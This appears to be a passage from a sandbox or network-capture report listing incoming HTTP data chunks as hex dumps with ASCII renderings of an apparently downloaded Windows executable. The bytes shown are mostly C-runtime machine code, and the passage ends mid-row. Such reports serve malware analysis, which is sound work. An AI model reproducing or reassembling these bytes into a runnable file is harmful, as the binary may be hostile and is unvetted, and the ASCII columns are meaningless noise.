2022-08-31 12:28:47 UTC	19	IN	Data Raw: 00 16 00 00 00 33 c0 50 50 50 50 50 e9 23 f7 ff ff 80 7d a8 00 74 07 8b 45 a4 83 60 70 fd 8b 45 cc 8b 8d f4 01 00 00 5f 5e 33 cd 5b e8 10 d9 ff ff 81 c5 f8 01 00 00 c9 c3 8d 49 00 84 3c 40 00 eb 3a 40 00 06 3b 40 00 55 3b 40 00 8f 3b 40 00 97 3b 40 00 ce 3b 40 00 c6 3c 40 00 6a 0c 68 90 ff 40 00 e8 e2 eb ff ff 6a 0e e8 ab e0 ff ff 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 a0 27 41 00 ba 9c 27 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 b1 d8 ff ff 59 ff 76 04 e8 a8 d8 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 d1 eb ff ff c3 8b d0 eb c5 6a 0e e8 78 df ff ff 59 c3 cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 Data Ascii: 3PPPPP#}tE`pE_^3[I<@:@;@U;@;@;@;@<@jh@jYeuNt/'A'AEt9u,HJPYvYfEjxYT$L$u<:u.t&:au%t:Au
2022-08-31 12:28:47 UTC	20	IN	Data Raw: c4 14 85 c0 74 11 33 f6 56 56 56 56 56 e8 d6 ec ff ff 83 c4 14 eb 02 33 f6 68 08 e8 40 00 53 55 e8 9c 30 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 b2 ec ff ff 83 c4 14 ff 34 fd 5c 15 41 00 53 55 e8 7a 30 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 90 ec ff ff 83 c4 14 68 10 20 01 00 68 e0 e7 40 00 55 e8 b8 2e 00 00 83 c4 0c eb 33 6a f4 ff 15 94 e0 40 00 8b e8 3b ee 74 25 83 fd ff 74 20 6a 00 8d 44 24 14 50 8d 34 fd 5c 15 41 00 ff 36 e8 71 26 00 00 59 50 ff 36 55 ff 15 90 e0 40 00 5d 5f 5e 5b 59 c3 6a 03 e8 35 31 00 00 83 f8 01 59 74 15 6a 03 e8 28 31 00 00 85 c0 59 75 1f 83 3d 1c 10 41 00 01 75 16 68 fc 00 00 00 e8 34 fe ff ff 68 ff 00 00 00 e8 2a fe ff ff 59 59 c3 c3 55 8b ec 51 51 56 e8 b0 0a 00 00 8b f0 85 f6 75 0e ff 75 0c ff 15 5c e0 40 00 e9 4d Data Ascii: t3VVVVV3h@SU0tVVVVV4\ASUz0tVVVVVh h@U.3j@;t%t jD$P4\A6q&YP6U@]_^[Yj51Ytj(1Yu=Auh4h*YYUQQVuu\@M
2022-08-31 12:28:47 UTC	22	IN	Data Raw: 0a 6a 02 58 a3 14 2d 41 00 eb 05 a1 14 2d 41 00 83 f8 01 75 54 3b f7 75 0f ff d3 8b f0 3b f7 75 07 33 c0 e9 f4 00 00 00 66 39 3e 8b c6 74 0e 40 40 66 39 38 75 f9 40 40 66 39 38 75 f2 2b c6 40 40 8b e8 55 e8 b7 0a 00 00 8b d8 85 db 59 75 0c 56 ff 15 a8 e0 40 00 e9 be 00 00 00 55 56 53 e8 bc e3 ff ff 83 c4 0c eb e7 83 f8 02 74 04 3b c7 75 af ff 15 a4 e0 40 00 8b e8 33 db 3b eb 74 a1 38 5d 00 8b f5 74 23 53 53 6a ff 56 6a 01 53 ff 15 00 e0 40 00 3b c3 74 88 56 03 f8 e8 0f 21 00 00 8d 74 06 01 38 1e 59 75 dd 47 6a 02 57 89 7c 24 18 e8 89 0a 00 00 8b d8 85 db 59 59 75 0c 55 ff 15 a0 e0 40 00 e9 56 ff ff ff 80 7d 00 00 8b fd 8b f3 74 3a 8b 4c 24 10 8b c6 2b c3 d1 f8 2b c8 51 56 6a ff 57 6a 01 6a 00 ff 15 00 e0 40 00 85 c0 74 2e 57 e8 b6 20 00 00 56 8d 7c 07 01 Data Ascii: jX-A-AuT;u;u3f9>t@@f98u@@f98u+@@UYuV@UVSt;u@3;t8]t#SSjVjS@;tV!t8YuGjW\|$YYuU@V}t:L$++QVjWjj@t.W V\|
2022-08-31 12:28:47 UTC	23	IN	Data Raw: 83 f8 ff 74 16 50 ff 35 28 2d 41 00 e8 54 ff ff ff 59 ff d0 83 0d c0 16 41 00 ff a1 c4 16 41 00 83 f8 ff 74 0e 50 ff 15 d0 e0 40 00 83 0d c4 16 41 00 ff e9 aa cf ff ff 6a 0c 68 f0 ff 40 00 e8 fb db ff ff 68 54 e8 40 00 ff 15 88 e0 40 00 89 45 e4 8b 75 08 c7 46 5c 10 16 41 00 33 ff 47 89 7e 14 85 c0 74 24 68 44 e8 40 00 50 8b 1d 08 e0 40 00 ff d3 89 86 f8 01 00 00 68 64 e8 40 00 ff 75 e4 ff d3 89 86 fc 01 00 00 89 7e 70 c6 86 c8 00 00 00 43 c6 86 4b 01 00 00 43 b8 d0 16 41 00 89 46 68 50 ff 15 d4 e0 40 00 6a 0c e8 5e d0 ff ff 59 83 65 fc 00 8b 45 0c 89 46 6c 85 c0 75 08 a1 d8 1c 41 00 89 46 6c ff 76 6c e8 39 18 00 00 59 c7 45 fc fe ff ff ff e8 06 00 00 00 e8 a2 db ff ff c3 6a 0c e8 4d cf ff ff 59 c3 56 57 ff 15 40 e0 40 00 8b f8 e8 d6 fe ff ff ff 35 c0 16 Data Ascii: tP5(-ATYAAtP@Ajh@hT@@EuF\A3G~t$hD@P@hd@u~pCKCAFhP@j^YeEFluAFlvl9YEjMYVW@@5
2022-08-31 12:28:47 UTC	24	IN	Data Raw: 7d fc ff 75 0c ff 75 08 ff d6 89 45 e0 eb 2f 8b 45 ec 8b 00 8b 00 89 45 dc 33 c9 3d 17 00 00 c0 0f 94 c1 8b c1 c3 8b 65 e8 81 7d dc 17 00 00 c0 75 08 6a 08 ff 15 d8 e0 40 00 83 65 e0 00 c7 45 fc fe ff ff ff 8b 45 e0 e8 de d6 ff ff c3 56 57 33 f6 ff 74 24 0c e8 3c 1a 00 00 8b f8 85 ff 59 75 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 03 00 00 3b 05 30 2d 41 00 76 03 83 c8 ff 83 f8 ff 8b f0 75 c9 8b c7 5f 5e c3 56 57 33 f6 6a 00 ff 74 24 14 ff 74 24 14 e8 01 22 00 00 8b f8 83 c4 0c 85 ff 75 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 03 00 00 3b 05 30 2d 41 00 76 03 83 c8 ff 83 f8 ff 8b f0 75 c1 8b c7 5f 5e c3 56 57 33 f6 ff 74 24 10 ff 74 24 10 e8 d9 22 00 00 8b f8 85 ff 59 59 75 2d 39 44 24 10 74 27 39 05 30 2d 41 00 76 1f 56 ff Data Ascii: }uuE/EE3=e}uj@eEEVW3t$<Yu'90-AvV@;0-Avu_^VW3jt$t$"u'90-AvV@;0-Avu_^VW3t$t$"YYu-9D$t'90-AvV
2022-08-31 12:28:47 UTC	26	IN	Data Raw: c4 0c 5d 8b 44 24 08 8b 54 24 10 89 02 b8 03 00 00 00 c3 55 8b 4c 24 08 8b 29 ff 71 1c ff 71 18 ff 71 28 e8 15 ff ff ff 83 c4 0c 5d c2 04 00 55 56 57 53 8b ea 33 c0 33 db 33 d2 33 f6 33 ff ff d1 5b 5f 5e 5d c3 8b ea 8b f1 8b c1 6a 01 e8 47 21 00 00 33 c0 33 db 33 c9 33 d2 33 ff ff e6 55 8b ec 53 56 57 6a 00 6a 00 68 af 5d 40 00 51 e8 4d 47 00 00 5f 5e 5b 5d c3 55 8b 6c 24 08 52 51 ff 74 24 14 e8 b4 fe ff ff 83 c4 0c 5d c2 08 00 cc cc cc cc cc 8b 4c 24 04 66 81 39 4d 5a 74 03 33 c0 c3 8b 41 3c 03 c1 81 38 50 45 00 00 75 f0 33 c9 66 81 78 18 0b 01 0f 94 c1 8b c1 c3 cc cc cc cc cc cc cc 8b 44 24 04 8b 48 3c 03 c8 0f b7 41 14 53 56 0f b7 71 06 33 d2 85 f6 57 8d 44 08 18 76 1e 8b 7c 24 14 8b 48 0c 3b f9 72 09 8b 58 08 03 d9 3b fb 72 0c 83 c2 01 83 c0 28 3b d6 Data Ascii: ]D$T$UL$)qqq(]UVWS33333[_^]jG!33333USVWjjh]@QMG_^[]Ul$RQt$]L$f9MZt3A<8PEu3fxD$H<ASVq3WDv\|$H;rX;r(;
2022-08-31 12:28:47 UTC	27	IN	Data Raw: 40 0c 83 74 56 50 56 e8 45 d4 ff ff 59 59 33 d2 42 89 55 fc a1 14 34 41 00 8b 04 b0 8b 48 0c f6 c1 83 74 2f 39 55 08 75 11 50 e8 50 ff ff ff 59 83 f8 ff 74 1e ff 45 e4 eb 19 39 7d 08 75 14 f6 c1 02 74 0f 50 e8 35 ff ff ff 59 83 f8 ff 75 03 09 45 dc 89 7d fc e8 08 00 00 00 46 eb 84 33 ff 8b 75 e0 a1 14 34 41 00 ff 34 b0 56 e8 32 d4 ff ff 59 59 c3 c7 45 fc fe ff ff ff e8 12 00 00 00 83 7d 08 01 8b 45 e4 74 03 8b 45 dc e8 e8 cb ff ff c3 6a 01 e8 93 bf ff ff 59 c3 6a 01 e8 1f ff ff ff 59 c3 8b 44 24 04 83 f8 fe 75 0e e8 e3 bd ff ff c7 00 09 00 00 00 33 c0 c3 56 33 f6 3b c6 7c 08 3b 05 f4 32 41 00 72 1c e8 c6 bd ff ff 56 56 56 56 56 c7 00 09 00 00 00 e8 48 d2 ff ff 83 c4 14 33 c0 5e c3 8b c8 83 e0 1f 6b c0 28 c1 f9 05 8b 0c 8d 00 33 41 00 0f b6 44 01 04 83 e0 Data Ascii: @tVPVEYY3BU4AHt/9UuPPYtE9}utP5YuE}F3u4A4V2YYE}EtEjYjYD$u3V3;\|;2ArVVVVVH3^k(3AD
2022-08-31 12:28:47 UTC	28	IN	Data Raw: 75 d1 8b 75 e4 ff 45 e0 83 c6 08 83 7d e0 04 89 75 e4 72 e9 8b c7 89 7b 04 c7 43 08 01 00 00 00 e8 b1 fb ff ff 6a 06 89 43 0c 8d 43 10 8d 89 04 1b 41 00 5a 66 8b 31 41 66 89 30 41 40 40 4a 75 f3 8b f3 e8 12 fc ff ff e9 e5 fe ff ff 80 4c 03 1d 04 40 3b c1 76 f6 46 46 80 7e ff 00 0f 85 34 ff ff ff 8d 43 1e b9 fe 00 00 00 80 08 08 40 49 75 f9 8b 43 04 e8 5c fb ff ff 89 43 0c 89 53 08 eb 03 89 73 08 33 c0 8d 7b 10 ab ab ab eb b2 39 35 34 2d 41 00 0f 85 90 fe ff ff 83 c8 ff 8b 4d fc 5f 5e 33 cd 5b e8 27 b3 ff ff c9 c3 6a 14 68 e0 00 41 00 e8 22 c6 ff ff 83 4d e0 ff e8 49 eb ff ff 8b f8 89 7d dc e8 18 fd ff ff 8b 5f 68 8b 75 08 e8 b1 fd ff ff 89 45 08 3b 43 04 0f 84 57 01 00 00 68 20 02 00 00 e8 56 ef ff ff 59 8b d8 85 db 0f 84 46 01 00 00 b9 88 00 00 00 8b 77 Data Ascii: uuE}ur{CjCCAZf1Af0A@@JuL@;vFF~4C@IuC\CSs3{954-AM_^3['jhA"MI}_huE;CWh VYFw
2022-08-31 12:28:47 UTC	30	IN	Data Raw: 02 00 00 00 eb c1 6a 0c e8 6d b5 ff ff 59 8b 75 e4 c3 55 8b ec 51 56 8b 75 0c 56 e8 30 f6 ff ff 89 45 0c 8b 46 0c a8 82 59 75 17 e8 b3 b3 ff ff c7 00 09 00 00 00 83 4e 0c 20 83 c8 ff e9 2d 01 00 00 a8 40 74 0d e8 98 b3 ff ff c7 00 22 00 00 00 eb e3 53 33 db a8 01 74 16 a8 10 89 5e 04 0f 84 85 00 00 00 8b 4e 08 83 e0 fe 89 0e 89 46 0c 8b 46 0c 83 e0 ef 83 c8 02 66 a9 0c 01 89 46 0c 89 5e 04 89 5d fc 75 2c e8 0c c8 ff ff 83 c0 20 3b f0 74 0c e8 00 c8 ff ff 83 c0 40 3b f0 75 0d ff 75 0c e8 4a f5 ff ff 85 c0 59 75 07 56 e8 b3 24 00 00 59 66 f7 46 0c 08 01 57 0f 84 80 00 00 00 8b 46 08 8b 3e 8d 48 01 89 0e 8b 4e 18 2b f8 49 3b fb 89 4e 04 7e 1d 57 50 ff 75 0c e8 41 18 00 00 83 c4 0c 89 45 fc eb 4d 83 c8 20 89 46 0c 83 c8 ff eb 79 8b 4d 0c 83 f9 ff 74 1b 83 f9 Data Ascii: jmYuUQVuV0EFYuN -@t"S3t^NFFfF^]u, ;t@;uuJYuV$YfFWF>HN+I;N~WPuAEM FyMt
2022-08-31 12:28:47 UTC	31	IN	Data Raw: ff ff 6a 1e e8 38 d4 ff ff 68 ff 00 00 00 e8 70 d1 ff ff 59 59 a1 3c 44 41 00 83 f8 01 75 0e 3b ee 74 04 8b c5 eb 03 33 c0 40 50 eb 1e 83 f8 03 75 0b 55 e8 53 ff ff ff 3b c6 59 75 17 3b ee 75 03 33 ff 47 83 c7 0f 83 e7 f0 57 56 ff 35 34 26 41 00 ff d3 8b f0 85 f6 75 26 39 05 fc 2d 41 00 6a 0c 5f 74 0d 55 e8 ce 03 00 00 85 c0 59 75 81 eb 07 e8 13 ae ff ff 89 38 e8 0c ae ff ff 89 38 5f 8b c6 5e 5b 5d c3 55 e8 ac 03 00 00 59 e8 f7 ad ff ff c7 00 0c 00 00 00 33 c0 5d c3 51 53 55 56 57 ff 35 08 34 41 00 e8 a2 de ff ff ff 35 04 34 41 00 8b f0 89 74 24 18 e8 91 de ff ff 8b f8 3b fe 59 59 72 7c 8b df 2b de 8d 6b 04 83 fd 04 72 70 56 e8 1e 22 00 00 8b f0 3b f5 59 73 4a b8 00 08 00 00 3b f0 73 02 8b c6 03 c6 3b c6 72 10 50 ff 74 24 14 e8 1f e5 ff ff 85 c0 59 59 75 Data Ascii: j8hpYY<DAu;t3@PuUS;Yu;u3GWV54&Au&9-Aj_tUYu88_^[]UY3]QSUVW54A54At$;YYr\|+krpV";YsJ;s;rPt$YYu
2022-08-31 12:28:47 UTC	32	IN	Data Raw: e0 51 6a 01 50 ff 35 ec 2d 41 00 e8 e6 d9 ff ff 59 ff d0 85 c0 74 06 f6 45 e8 01 75 33 8d 45 f4 50 e8 9a cc ff ff 85 c0 59 74 0d 53 53 53 53 53 e8 92 bc ff ff 83 c4 14 83 7d f4 04 72 09 81 4d 10 00 00 20 00 eb 3a 81 4d 10 00 00 04 00 eb 31 a1 e0 2d 41 00 3b c6 74 28 50 e8 97 d9 ff ff 59 ff d0 3b c3 89 45 fc 74 18 a1 e4 2d 41 00 3b c6 74 0f ff 75 fc 50 e8 7b d9 ff ff 59 ff d0 89 45 fc ff 75 10 ff 75 0c ff 75 08 ff 75 fc ff 35 dc 2d 41 00 e8 5e d9 ff ff 59 ff d0 5f 5e 5b c9 c3 8b 44 24 04 53 33 db 3b c3 56 57 74 08 8b 7c 24 14 3b fb 77 1b e8 77 a8 ff ff 6a 16 5e 89 30 53 53 53 53 53 e8 fa bc ff ff 83 c4 14 8b c6 eb 3d 8b 74 24 18 3b f3 75 04 88 18 eb d9 8b d0 38 1a 74 04 42 4f 75 f8 3b fb 74 ee 8a 0e 88 0a 42 46 3a cb 74 03 4f 75 f3 3b fb 75 10 88 18 e8 2f Data Ascii: QjP5-AYtEu3EPYtSSSSS}rM :M1-A;t(PY;Et-A;tuP{YEuuuu5-A^Y_^[D$S3;VWt\|$;wwj^0SSSSS=t$;u8tBOu;tBF:tOu;u/
2022-08-31 12:28:47 UTC	34	IN	Data Raw: ff 35 34 26 41 00 ff 15 84 e0 40 00 8b f8 85 ff 75 56 39 05 fc 2d 41 00 74 34 56 e8 67 f9 ff ff 59 85 c0 74 1f 83 fe e0 76 cd 56 e8 57 f9 ff ff 59 e8 a2 a3 ff ff c7 00 0c 00 00 00 33 c0 e8 79 b1 ff ff c3 e8 8f a3 ff ff e9 7c ff ff ff 85 ff 75 16 e8 81 a3 ff ff 8b f0 ff 15 40 e0 40 00 50 e8 38 a3 ff ff 89 06 59 8b c7 eb d2 cc cc cc 55 8b ec 53 56 57 55 6a 00 6a 00 68 d8 7d 40 00 ff 75 08 e8 24 27 00 00 5d 5f 5e 5b 8b e5 5d c3 8b 4c 24 04 f7 41 04 06 00 00 00 b8 01 00 00 00 74 32 8b 44 24 14 8b 48 fc 33 c8 e8 bf 9d ff ff 55 8b 68 10 8b 50 28 52 8b 50 24 52 e8 14 00 00 00 83 c4 08 5d 8b 44 24 08 8b 54 24 10 89 02 b8 03 00 00 00 c3 53 56 57 8b 44 24 10 55 50 6a fe 68 e0 7d 40 00 64 ff 35 00 00 00 00 a1 20 10 41 00 33 c4 50 8d 44 24 04 64 a3 00 00 00 00 8b 44 Data Ascii: 54&A@uV9-At4VgYtvVWY3y\|u@@P8YUSVWUjjh}@u$']_^[]L$At2D$H3UhP(RP$R]D$T$SVWD$UPjh}@d5 A3PD$dD
2022-08-31 12:28:47 UTC	35	IN	Data Raw: 85 0c 05 00 00 50 8b 07 ff 34 03 ff 15 90 e0 40 00 85 c0 0f 84 25 03 00 00 8b 45 b0 01 45 a0 3b c6 0f 8c 20 03 00 00 83 7d 88 00 0f 84 9f 00 00 00 6a 00 8d 45 b0 50 6a 01 8d 85 0c 05 00 00 50 8b 07 c6 85 0c 05 00 00 0d ff 34 03 ff 15 90 e0 40 00 85 c0 0f 84 e4 02 00 00 83 7d b0 01 0f 8c e3 02 00 00 ff 45 98 ff 45 a0 eb 64 3c 01 74 04 3c 02 75 1b 0f b7 0e 33 d2 66 83 f9 0a 0f 94 c2 46 46 83 45 a4 02 89 4d ac 89 75 8c 89 55 88 3c 01 74 04 3c 02 75 39 ff 75 ac e8 e7 15 00 00 66 3b 45 ac 59 0f 85 94 02 00 00 ff 45 a0 83 7d 88 00 74 1d 6a 0d 58 50 89 45 ac e8 c7 15 00 00 66 3b 45 ac 59 0f 85 74 02 00 00 ff 45 a0 ff 45 98 8b 85 28 05 00 00 39 45 a4 0f 82 79 fe ff ff e9 63 02 00 00 8b 07 03 c3 f6 40 04 80 0f 84 25 02 00 00 8b 45 9c 33 f6 80 7d ab 00 89 75 ac 0f Data Ascii: P4@%EE; }jEPjP4@}EEd<t<u3fFFEMuU<t<u9uf;EYE}tjXPEf;EYtEE(9Eyc@%E3}u
2022-08-31 12:28:47 UTC	36	IN	Data Raw: 83 4d e4 ff c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 f2 a6 ff ff c3 ff 75 08 e8 8a 14 00 00 59 c3 8b 44 24 04 85 c0 74 12 83 e8 08 81 38 dd dd 00 00 75 07 50 e8 8f 93 ff ff 59 c3 55 8b ec 83 ec 14 a1 20 10 41 00 33 c5 89 45 fc 53 56 33 db 39 1d f0 2d 41 00 57 8b f1 75 38 53 53 33 ff 47 57 68 48 f1 40 00 68 00 01 00 00 53 ff 15 24 e1 40 00 85 c0 74 08 89 3d f0 2d 41 00 eb 15 ff 15 40 e0 40 00 83 f8 78 75 0a c7 05 f0 2d 41 00 02 00 00 00 39 5d 14 7e 22 8b 4d 14 8b 45 10 49 38 18 74 08 40 3b cb 75 f6 83 c9 ff 8b 45 14 2b c1 48 3b 45 14 7d 01 40 89 45 14 a1 f0 2d 41 00 83 f8 02 0f 84 ab 01 00 00 3b c3 0f 84 a3 01 00 00 83 f8 01 0f 85 cb 01 00 00 39 5d 20 89 5d f8 75 08 8b 06 8b 40 04 89 45 20 8b 35 00 e0 40 00 33 c0 39 5d 24 53 53 ff 75 14 0f 95 c0 ff Data Ascii: MEEuYD$t8uPYU A3ESV39-AWu8SS3GWhH@hS$@t=-A@@xu-A9]~"MEI8t@;uE+H;E}@E-A;9] ]u@E 5@39]$SSu
2022-08-31 12:28:47 UTC	38	IN	Data Raw: 75 08 8b 07 8b 40 14 89 45 1c 39 5d 18 75 08 8b 07 8b 40 04 89 45 18 ff 75 1c e8 55 0f 00 00 83 f8 ff 59 75 04 33 c0 eb 47 3b 45 18 74 1e 53 53 8d 4d 10 51 ff 75 0c 50 ff 75 18 e8 7b 0f 00 00 8b f0 83 c4 18 3b f3 74 dc 89 75 0c ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 75 1c ff 15 28 e1 40 00 3b f3 8b f8 74 07 56 e8 05 8e ff ff 59 8b c7 8d 65 ec 5f 5e 5b 8b 4d fc 33 cd e8 e3 8d ff ff c9 c3 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 30 aa ff ff ff 75 24 8d 4d f0 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 1a fe ff ff 83 c4 1c 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 56 8b 74 24 08 85 f6 0f 84 81 01 00 00 ff 76 04 e8 9b 8d ff ff ff 76 08 e8 93 8d ff ff ff 76 0c e8 8b 8d ff ff ff 76 10 e8 83 8d ff ff ff 76 14 e8 7b 8d ff ff ff 76 18 e8 73 8d ff ff Data Ascii: u@E9]u@EuUYu3G;EtSSMQuPu{;tuuuuuu(@;tVYe_^[M3UuM0u$Mu uuuuu}tMapVt$vvvvv{vs
2022-08-31 12:28:47 UTC	39	IN	Data Raw: 00 00 e8 74 c5 ff ff 85 c0 59 8b 4c 24 04 89 41 08 74 0d 83 49 0c 08 c7 41 18 00 10 00 00 eb 11 83 49 0c 04 8d 41 14 89 41 08 c7 41 18 02 00 00 00 8b 41 08 83 61 04 00 89 01 c3 6a 02 e8 e1 b0 ff ff 59 c3 55 8b ec 83 ec 14 56 57 ff 75 08 8d 4d ec e8 13 a5 ff ff 8b 45 10 8b 75 0c 33 ff 3b c7 74 02 89 30 3b f7 75 2c e8 06 8e ff ff 57 57 57 57 57 c7 00 16 00 00 00 e8 88 a2 ff ff 83 c4 14 80 7d f8 00 74 07 8b 45 f4 83 60 70 fd 33 c0 e9 d6 01 00 00 39 7d 14 74 0c 83 7d 14 02 7c c9 83 7d 14 24 7f c3 8b 4d ec 53 8a 1e 89 7d fc 8d 7e 01 83 b9 ac 00 00 00 01 7e 17 8d 45 ec 50 0f b6 c3 6a 08 50 e8 7d 0b 00 00 8b 4d ec 83 c4 0c eb 10 8b 91 c8 00 00 00 0f b6 c3 0f b6 04 42 83 e0 08 85 c0 74 05 8a 1f 47 eb c7 80 fb 2d 75 06 83 4d 18 02 eb 05 80 fb 2b 75 03 8a 1f 47 8b Data Ascii: tYL$AtIAIAAAAajYUVWuMEu3;t0;u,WWWWW}tE`p39}t}\|}$MS}~~EPjP}MBtG-uM+uG
2022-08-31 12:28:47 UTC	40	IN	Data Raw: 1f 6b f6 28 c1 f8 05 85 ff 8b 04 85 00 33 41 00 59 c6 44 30 04 00 74 0c 57 e8 23 89 ff ff 59 83 c8 ff eb 02 33 c0 5f 5e c3 6a 10 68 a0 02 41 00 e8 85 96 ff ff 8b 45 08 83 f8 fe 75 1b e8 ec 88 ff ff 83 20 00 e8 d1 88 ff ff c7 00 09 00 00 00 83 c8 ff e9 8e 00 00 00 33 ff 3b c7 7c 08 3b 05 f4 32 41 00 72 21 e8 c3 88 ff ff 89 38 e8 a9 88 ff ff c7 00 09 00 00 00 57 57 57 57 57 e8 2b 9d ff ff 83 c4 14 eb c9 8b c8 c1 f9 05 8d 1c 8d 00 33 41 00 8b f0 83 e6 1f 6b f6 28 8b 0b 0f b6 4c 31 04 83 e1 01 74 bf 50 e8 53 03 00 00 59 89 7d fc 8b 03 f6 44 30 04 01 74 0e ff 75 08 e8 d3 fe ff ff 59 89 45 e4 eb 0f e8 4e 88 ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 14 96 ff ff c3 ff 75 08 e8 ac 03 00 00 59 c3 56 8b 74 24 08 8b 46 0c a8 Data Ascii: k(3AYD0tW#Y3_^jhAEu 3;\|;2Ar!8WWWWW+3Ak(L1tPSY}D0tuYENMEEuYVt$F
2022-08-31 12:28:47 UTC	42	IN	Data Raw: 38 30 30 30 0d 0a 33 cd e8 aa 7e ff ff c9 c3 55 8b ec 83 ec 34 a1 20 10 41 00 33 c5 89 45 fc 8b 45 10 8b 4d 18 89 45 d8 8b 45 14 53 89 45 d0 8b 00 56 89 45 dc 8b 45 08 57 33 ff 3b 45 0c 89 4d cc 89 7d e0 89 7d d4 0f 84 5f 01 00 00 8b 35 00 e1 40 00 8d 4d e8 51 50 ff d6 85 c0 8b 1d 00 e0 40 00 74 5e 83 7d e8 01 75 58 8d 45 e8 50 ff 75 0c ff d6 85 c0 74 4b 83 7d e8 01 75 45 8b 75 dc 83 fe ff c7 45 d4 01 00 00 00 75 0c ff 75 d8 e8 44 d1 ff ff 8b f0 59 46 3b f7 7e 5b 81 fe f0 ff ff 7f 77 53 8d 44 36 08 3d 00 04 00 00 77 2f e8 14 01 00 00 8b c4 3b c7 74 38 c7 00 cc cc 00 00 eb 2d 57 57 ff 75 dc ff 75 d8 6a 01 ff 75 08 ff d3 8b f0 3b f7 75 c3 33 c0 e9 d1 00 00 00 50 e8 8d d4 ff ff 3b c7 59 74 09 c7 00 dd dd 00 00 83 c0 08 89 45 e4 eb 03 89 7d e4 39 7d e4 74 d8 Data Ascii: 80003~U4 A3EEMEESEVEEW3;EM}}_5@MQP@t^}uXEPutK}uEuEuuDYF;~[wSD6=w/;t8-WWuuju;u3P;YtE}9}t
2022-08-31 12:28:47 UTC	43	IN	Data Raw: 80 75 c4 5e 5f 5b 33 c0 c3 8b 42 fc 3a c3 74 36 84 c0 74 ef 3a e3 74 27 84 e4 74 e7 c1 e8 10 3a c3 74 15 84 c0 74 dc 3a e3 74 06 84 e4 74 d4 eb 96 5e 5f 8d 42 ff 5b c3 8d 42 fe 5e 5f 5b c3 8d 42 fd 5e 5f 5b c3 8d 42 fc 5e 5f 5b c3 55 8b ec 83 ec 0c a1 20 10 41 00 33 c5 89 45 fc 56 33 f6 ff 15 1c e0 40 00 6a 07 8d 4d f4 51 68 04 10 00 00 50 ff 15 30 e1 40 00 85 c0 74 1f 8a 4d f4 84 c9 8d 45 f4 74 15 6b f6 0a 0f be c9 40 8d 74 0e d0 8a 08 84 c9 75 ef 85 f6 75 08 ff 15 04 e1 40 00 8b f0 8b 4d fc 8b c6 33 cd 5e e8 ae 78 ff ff c9 c3 6a 03 58 c3 55 8b ec 81 ec 98 00 00 00 a1 20 10 41 00 33 c5 89 45 fc 8d 85 68 ff ff ff 50 c7 85 68 ff ff ff 94 00 00 00 ff 15 48 e0 40 00 83 bd 78 ff ff ff 02 75 0e 83 bd 6c ff ff ff 05 b8 13 a3 40 00 73 05 b8 ae a2 40 00 50 68 60 Data Ascii: u^_[3B:t6t:t't:tt:tt^_B[B^_[B^_[B^_[U A3EV3@jMQhP0@tMEtk@tuu@M3^xjXU A3EhPhH@xul@s@Ph`
2022-08-31 12:28:47 UTC	44	IN	Data Raw: 74 15 8b 96 bc 00 00 00 8b 12 8a 12 3a ca 74 07 40 8a 08 84 c9 75 f5 8a 08 40 84 c9 74 36 eb 0b 80 f9 65 74 0c 80 f9 45 74 07 40 8a 08 84 c9 75 ef 8b d0 48 80 38 30 74 fa 8b 8e bc 00 00 00 8b 09 53 8a 18 3a 19 5b 75 01 48 8a 0a 40 42 84 c9 88 08 75 f6 80 7d fc 00 5e 74 07 8b 45 f8 83 60 70 fd c9 c3 d9 ee 8b 44 24 04 dc 18 df e0 f6 c4 41 7a 04 33 c0 40 c3 33 c0 c3 55 8b ec 51 51 83 7d 08 00 ff 75 14 ff 75 10 74 19 8d 45 f8 50 e8 5f 0a 00 00 8b 4d f8 8b 45 0c 89 08 8b 4d fc 89 48 04 eb 11 8d 45 08 50 e8 ec 0a 00 00 8b 45 0c 8b 4d 08 89 08 83 c4 0c c9 c3 6a 00 ff 74 24 10 ff 74 24 10 ff 74 24 10 e8 ad ff ff ff 83 c4 10 c3 85 ff 56 8b f0 74 14 56 e8 48 c6 ff ff 40 50 56 03 f7 56 e8 6d b0 ff ff 83 c4 10 5e c3 6a 00 ff 74 24 08 e8 7a fe ff ff 59 59 c3 6a 00 ff Data Ascii: t:t@u@t6etEt@uH80tS:[uH@Bu}^tE`pD$Az3@3UQQ}uutEP_MEMHEPEMjt$t$t$VtVH@PVVm^jt$zYYj
2022-08-31 12:28:47 UTC	46	IN	Data Raw: 66 3d 39 00 76 02 03 c3 8b 4d f8 83 6d fc 04 88 06 8b 45 f4 0f ac c8 04 c1 e9 04 46 ff 4d 14 66 83 7d fc 00 89 45 f4 89 4d f8 7d ad 66 83 7d fc 00 7c 51 8b 57 04 23 55 f8 8b 07 0f bf 4d fc 23 45 f4 81 e2 ff ff 0f 00 e8 80 09 00 00 66 3d 08 00 76 31 8d 46 ff 8a 08 80 f9 66 74 05 80 f9 46 75 06 c6 00 30 48 eb ee 3b 45 0c 74 14 8a 08 80 f9 39 75 07 80 c3 3a 88 18 eb 09 fe c1 88 08 eb 03 fe 40 ff 83 7d 14 00 7e 11 ff 75 14 6a 30 56 e8 28 83 ff ff 83 c4 0c 03 75 14 8b 45 0c 80 38 00 75 02 8b f0 83 7d 18 00 b1 34 0f 94 c0 fe c8 24 e0 04 70 88 06 8b 07 8b 57 04 46 e8 0c 09 00 00 33 db 25 ff 07 00 00 23 d3 2b 45 ec 53 59 1b d1 78 0c 7f 04 3b c3 72 06 c6 06 2b 46 eb 0a c6 06 2d 46 f7 d8 13 d3 f7 da 3b d3 8b fe c6 06 30 7c 24 b9 e8 03 00 